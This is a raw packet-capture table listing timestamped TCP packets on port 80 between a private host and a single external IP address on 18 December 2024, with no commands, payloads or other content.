Dec 18, 2024 14:08:06.915554047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915558100 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915570021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915582895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915591955 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915596962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915608883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915616035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915623903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915637016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915652990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915656090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915664911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915678024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915683985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915692091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915705919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915716887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915719032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915733099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915735006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915745974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915757895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915762901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915771008 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915779114 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915785074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915796995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915800095 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915812969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915826082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915833950 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915841103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915853977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915867090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915868044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915879965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915882111 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915894985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915908098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915921926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915929079 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915935993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915949106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915960073 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915961027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915973902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915986061 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915990114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916003942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916003942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916028023 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916030884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916043043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916057110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916063070 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916071892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916084051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916093111 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916096926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916110039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916111946 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916122913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916136026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916141033 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916150093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916176081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916187048 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916189909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916205883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916217089 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916218996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916227102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916232109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916243076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916249990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916260958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916270971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916276932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916291952 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916292906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916306973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916321039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916331053 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916335106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916348934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916349888 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916361094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916374922 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916374922 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916389942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916403055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916407108 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916416883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916429996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916441917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916444063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.916467905 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.916482925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.028481960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.028502941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.028515100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.028527975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.028594971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.029340029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029354095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029360056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029371023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029376984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029388905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029398918 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.029402971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029418945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.029443979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029458046 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029469967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029479027 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.029483080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029496908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029508114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029515982 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.029517889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029535055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.029541969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.029556990 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.031486034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.031497955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.031511068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.031522036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.031537056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.031564951 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.031618118 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.032706976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032720089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032732964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032747030 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032758951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032772064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032772064 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.032793045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.032823086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.032871962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.032887936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.033103943 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.033371925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.034086943 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.034100056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.034111023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.034149885 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.034229040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.035680056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.035692930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.035703897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.035716057 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.035729885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.035748959 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.035794020 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.042077065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.042140007 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.042419910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051131964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051151037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051162004 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051173925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051187038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051199913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051211119 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051290989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.051290989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.051290989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.051291943 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.051892996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051907063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051947117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.051955938 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.054547071 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.054559946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.054610014 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.054709911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.054723024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.054733992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.054768085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.054780960 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.062566996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062639952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.062700033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062715054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062730074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062742949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062756062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062762022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062767029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.062798977 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.062849045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.063358068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063373089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063483000 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.063489914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063503981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063517094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063539028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063539982 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.063554049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063561916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.063569069 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.063596964 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.064548969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.064623117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.064637899 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.064667940 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.064677000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.064697981 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.064698935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.064706087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.064862013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.065067053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065083981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065100908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065123081 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.065151930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.065227985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065241098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065279007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065283060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.065300941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065352917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.065392971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.066402912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.066508055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.067296028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067308903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067328930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067341089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067353964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067378044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.067403078 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.067418098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067430973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067445040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.067470074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.067480087 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.068958998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.069123983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.069130898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.069138050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.069152117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.069171906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.069197893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.070231915 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070245981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070257902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070271015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070282936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070296049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070307970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070312023 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.070334911 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.070346117 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.070595026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.070607901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.072693110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.192919016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.192936897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.193397999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.193411112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.193474054 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.193500996 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.194252968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.194505930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.195235014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.195374012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.199095964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.199110031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.199407101 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.199440956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.199487925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.199701071 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.200360060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.200372934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.200417995 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.201148033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.201196909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.201204062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.201932907 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.201997995 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.202147007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.202734947 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.202960014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.203011990 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.203677893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.203728914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.203986883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.204615116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.204804897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.204854012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.205921888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.205969095 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.205976963 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.206513882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.206558943 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.206587076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.207494020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.207561016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.207622051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.208314896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.208436012 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.208507061 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.209264040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.209374905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.210311890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.210370064 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.210380077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.211472034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.211520910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.211571932 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.212191105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.212204933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.212748051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.213323116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.213336945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.213972092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.214027882 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.214063883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.215059042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.215070963 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.215130091 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.216029882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.216042995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.216069937 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.216844082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.216856003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.217094898 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.217823029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.217843056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.217921019 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.218894958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.218909979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.218956947 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.219990015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.220004082 CET	80	49780	176.113.115.178	192.168.2.9
